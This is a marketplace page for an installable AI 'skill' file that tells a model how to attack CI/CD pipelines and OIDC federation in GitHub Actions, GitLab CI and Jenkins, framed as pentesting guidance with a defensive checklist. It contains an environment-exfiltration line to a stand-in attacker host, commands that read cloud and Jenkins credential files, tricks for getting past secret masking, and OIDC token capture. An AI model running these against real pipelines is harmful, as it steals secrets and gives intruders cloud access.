Abusing Ci Cd Oidc logo

Abusing Ci Cd Oidc

Community
trilwu
abusing-ci-cd-oidc

Exploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials.

Overview

Publishertrilwu
Repositorysecskills
Skill nameabusing-ci-cd-oidc
Stars
144
Forks
15
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by trilwu on GitHub. Read the source before you install it.

Installation

Install the Abusing Ci Cd Oidc AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/trilwu/secskills.git /tmp/secskills
mkdir -p .claude/skills
cp -r /tmp/secskills/secskills-offense/skills/abusing-ci-cd-oidc .claude/skills/abusing-ci-cd-oidc
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Abusing Ci Cd Oidc in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Abusing Ci Cd Oidc on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Abusing Ci Cd Oidc is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Abusing CI/CD Pipelines and OIDC Federation

CI/CD pipelines are high-privilege execution environments, often with direct cloud IAM access, deploy credentials, and signing keys. OIDC federation turns a repository write into cloud credential issuance when the trust policy is too broad. A single misconfigured workflow or a wildcard subject claim can bridge the gap from "can open a pull request" to "has production cloud access."

When to Use

  • Assessing GitHub Actions, GitLab CI, or Jenkins for exploitable misconfigurations
  • Testing OIDC federation trust policies between CI providers and cloud platforms
  • Extracting secrets, tokens, or credentials from pipeline execution environments
  • Evaluating self-hosted runner isolation and shared runner risk
  • Attempting lateral movement from CI/CD into cloud accounts via OIDC
  • Reviewing build artifact integrity and cache poisoning attack surface

When NOT to Use

  • Dependency and package supply chain attacks -- use auditing-supply-chain
  • Cloud IAM exploitation not originating from CI/CD -- use exploiting-cloud-platforms
  • Static code review of pipeline definitions as pure source -- use auditing-code-for-vulnerabilities

GitHub Actions

Poisoned Workflows

pull_request_target runs in the base repo context with secrets and a write-scoped GITHUB_TOKEN, but can be triggered by a fork PR.

bash
# Find pull_request_target triggers that check out PR head code
rg -n 'pull_request_target' -A20 .github/workflows/ | rg 'checkout|ref.*head'

# Script injection: untrusted PR/issue data interpolated into run blocks
rg -n '\$\{\{\s*github\.event\.(issue|pull_request|comment|review)' .github/workflows/

Attack pattern: fork the repo, modify the checked-out code path (build script, Makefile, test harness), open a PR. The workflow executes your code with the base repo's secrets. Exfiltrate via DNS, HTTP callback, or artifact.

Secret Exfiltration and Token Scope

bash
# Secrets are in the environment -- exfiltrate out-of-band
env | base64 | curl -d @- https://attacker.example/exfil

# GITHUB_TOKEN scope check
curl -s -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/OWNER/REPO -I | grep 'x-oauth-scopes'

# Check if permissions are restricted in the workflow
rg -n 'permissions:' .github/workflows/
rg -n 'permissions:\s*write-all' .github/workflows/

Unrestricted GITHUB_TOKEN defaults to read+write on contents, packages, and more. With a write-scoped token: push to branches, create releases, modify packages, approve deployments.

Self-Hosted Runner Compromise

Self-hosted runners on public repos are a critical finding. They persist between jobs, so a malicious workflow leaves implants for subsequent jobs.

bash
rg -n 'runs-on:.*self-hosted' .github/workflows/

# On a compromised runner: harvest credentials from prior jobs
find / -name '.credentials' -o -name '.env' -o -name '*.pem' 2>/dev/null
cat /home/runner/.aws/credentials

Artifact Poisoning

bash
# If a PR workflow uploads build artifacts consumed by a deploy workflow,
# the PR author controls what gets deployed
rg -n 'upload-artifact|download-artifact' .github/workflows/

GitLab CI

Runner Tokens and Shared Runners

bash
# Exposed runner registration tokens allow registering rogue runners
rg -rn 'RUNNER_TOKEN\|REGISTRATION_TOKEN\|CI_JOB_TOKEN' .gitlab-ci.yml

# CI_JOB_TOKEN can access other projects if inter-project deps are configured
curl --header "JOB-TOKEN: $CI_JOB_TOKEN" \
  "https://gitlab.example/api/v4/projects/OTHER_ID/repository/files/secret.txt/raw?ref=main"

# Shared runners: Docker socket mount leaks between jobs
rg -n 'docker:dind\|/var/run/docker.sock' .gitlab-ci.yml

CI Variables Extraction

bash
# Masked variables are hidden from logs but present in env
printenv > /tmp/all_vars.txt && cat /tmp/all_vars.txt

# Protected variables: only on protected branches/tags
# Push a tag matching the protection pattern to access them
git tag release-exploit && git push origin release-exploit

OIDC Federation Abuse

OIDC federation lets CI jobs assume cloud roles without stored credentials. The security boundary is the trust policy's subject claim filter.

Overly Broad Subject Claims

bash
# AWS: inspect IAM role trust policy conditions
aws iam get-role --role-name ci-deploy-role \
  --query 'Role.AssumeRolePolicyDocument' --output json

# Dangerous patterns in the Condition block:
# "sub": "repo:org/*"                     -- any repo in the org
# "sub": "repo:org/repo:*"                -- any branch, any environment
# "sub": "repo:org/repo:ref:refs/heads/*" -- any branch
# No Condition at all                      -- any token from the IdP

Vulnerable AWS trust policy:

json
{
  "Effect": "Allow",
  "Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringLike": {
      "token.actions.githubusercontent.com:sub": "repo:org-name/*"
    }
  }
}

Any repo in the org can assume this role. Abandoned repos, docs repos, and repos with loose contributor policies become pivots to production cloud access.

GCP and Azure

bash
# GCP: check attribute conditions on workload identity provider
gcloud iam workload-identity-pools providers describe PROVIDER \
  --location=global --workload-identity-pool=POOL
# Vulnerable: no attribute condition, or condition matching only the org

# Azure: list federated identity credentials
az ad app federated-credential list --id APP_OBJECT_ID
# Same wildcard risks: "repo:org/*" or "repo:org/repo:ref:refs/heads/*"
# Safe: "repo:org/repo:environment:production"

Environment Protection Bypass

Environment protection rules gate OIDC token issuance only if the trust policy conditions include :environment:. A policy matching repo:org/repo:* ignores environments, so required reviewers provide no protection.

bash
rg -n 'environment:' .github/workflows/
# Compare to the trust policy Condition -- if it lacks :environment:, bypass

Jenkins

Groovy Console and Credentials

bash
# Script console (/script) runs arbitrary Groovy as SYSTEM
# Check for unauthenticated access
curl -s -o /dev/null -w "%{http_code}" http://jenkins.target/script

# Credential files on disk
cat /var/lib/jenkins/credentials.xml
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret

Pipeline Library Injection

bash
# Shared libraries via @Library execute in the pipeline sandbox
# If the library repo is writable, inject code into vars/ or src/
rg -n '@Library\|library\(' Jenkinsfile

# "Load implicitly" enabled = every pipeline runs the library's code

Secrets in CI

Extracting Masked Variables

bash
# Masking hides secrets from logs but not from the process environment
echo "$SECRET_VAR" | base64                    # bypass log masking
echo "$SECRET_VAR" | sed 's/./&\n/g'           # char-by-char bypass
echo "$SECRET_VAR" > secret_dump.txt           # write to artifact

OIDC Token Interception

bash
# GitHub Actions: request the OIDC token
curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com"

# JWT is reusable until expiry (typically 5-15 minutes)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .

Long-Lived Tokens as CI Secrets

bash
# Credentials that should have been replaced by OIDC
env | grep -i 'AWS\|AKIA'                     # AWS access keys
env | grep -i 'AZURE\|ARM_CLIENT'             # Azure SP credentials
find / -name '*service*account*.json' 2>/dev/null  # GCP SA keys

Build Artifact Poisoning

Cache Poisoning

bash
# CI caches shared across branches -- a PR can poison the main-branch cache
rg -n 'actions/cache' -A5 .github/workflows/
# Check whether cache keys include dependency lock file hashes

rg -n 'cache:' -A10 .gitlab-ci.yml
# key: $CI_COMMIT_REF_SLUG is branch-scoped but forks may share

Dependency Confusion via Internal Registries

bash
# If CI resolves from both internal and public registries,
# a higher-version public package wins resolution
rg -rn 'registry\|index-url\|repository' .npmrc .yarnrc pip.conf pyproject.toml
# Non-scoped internal packages (@org/pkg format) are vulnerable

Defensive Review Checklist

OIDC subject claim strictness:

  • Trust policies pin to specific repository (not org-wide wildcard)
  • Trust policies require specific branch or environment in the subject
  • Environment protection rules are configured for production deployments

Workflow approval gates:

  • pull_request_target workflows do not check out PR head code
  • Fork PRs require approval before workflows run
  • Required reviewers are set on deployment environments
  • Branch protection prevents direct pushes to release branches

Runner isolation:

  • Self-hosted runners are not used on public repositories
  • Runners are ephemeral (destroyed after each job)
  • Docker socket is not mounted into CI jobs

Secrets hygiene:

  • No long-lived cloud credentials stored as CI secrets (use OIDC)
  • GITHUB_TOKEN permissions are explicitly restricted per-job
  • Secrets are not available to fork-triggered workflows

Build integrity:

  • Third-party actions/images are pinned by SHA, not mutable tag
  • Cache keys include dependency lock file hashes
  • Build artifacts are signed and verified before deployment
  • Internal packages use scoped registries with no public fallback

Rationalizations to Reject

  • "The OIDC trust policy is org-scoped, and we trust all our repos." Any repo in the org becomes a pivot to cloud access. Abandoned repos, forks, and repos with loose contributor policies are all in scope.

  • "Secrets are masked in the logs." Masking is a log-display feature, not a security boundary. Secrets are plaintext in the process environment.

  • "The workflow only runs on PRs from maintainers." Unless fork PR approval is enforced at the repo or org level, external contributors can trigger pull_request_target workflows.

  • "Our runners are internal, so they are safe." Internal runners that persist between jobs accumulate credentials from every job they execute. Ephemeral runners are the control.

  • "We use environment protection rules." Protection rules only gate OIDC token issuance if the trust policy conditions include the environment claim. A policy matching repo:org/repo:* ignores environments entirely.

  • "It is just the CI token, it expires quickly." A 15-minute OIDC token is enough to exfiltrate data, modify infrastructure, or establish persistence in the cloud account. Short-lived is not harmless.

  • "The pipeline code is reviewed before merge." Review of the pipeline definition does not protect against pull_request_target, which runs the attacker's code before any merge.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Initial Access (TA0001)

  • T1199 Trusted Relationship — see also exploiting-cloud-platforms, attacking-entra-id

Credential Access (TA0006)

  • T1552 Unsecured Credentials — see also escalating-linux-privileges, exploiting-cloud-platforms, auditing-supply-chain

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

  • auditing-supply-chain -- dependency and package-level supply chain attacks
  • exploiting-cloud-platforms -- cloud IAM exploitation beyond CI/CD origins
  • auditing-code-for-vulnerabilities -- source-level review of pipeline code
  • engineering-detections -- building alerts for CI/CD abuse patterns

Frequently asked questions

What does the Abusing Ci Cd Oidc AI skill do?

Exploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials.

Why use Abusing Ci Cd Oidc on TypingMind?

Because you install it once and use it with any model. Abusing Ci Cd Oidc is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Abusing Ci Cd Oidc in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/trilwu/secskills/tree/main/secskills-offense/skills/abusing-ci-cd-oidc. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Abusing Ci Cd Oidc?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Abusing Ci Cd Oidc?

As many as you like. As long as a model supports skills, you can use Abusing Ci Cd Oidc with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Abusing Ci Cd Oidc AI skill free?

Yes. It is published on GitHub by trilwu under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇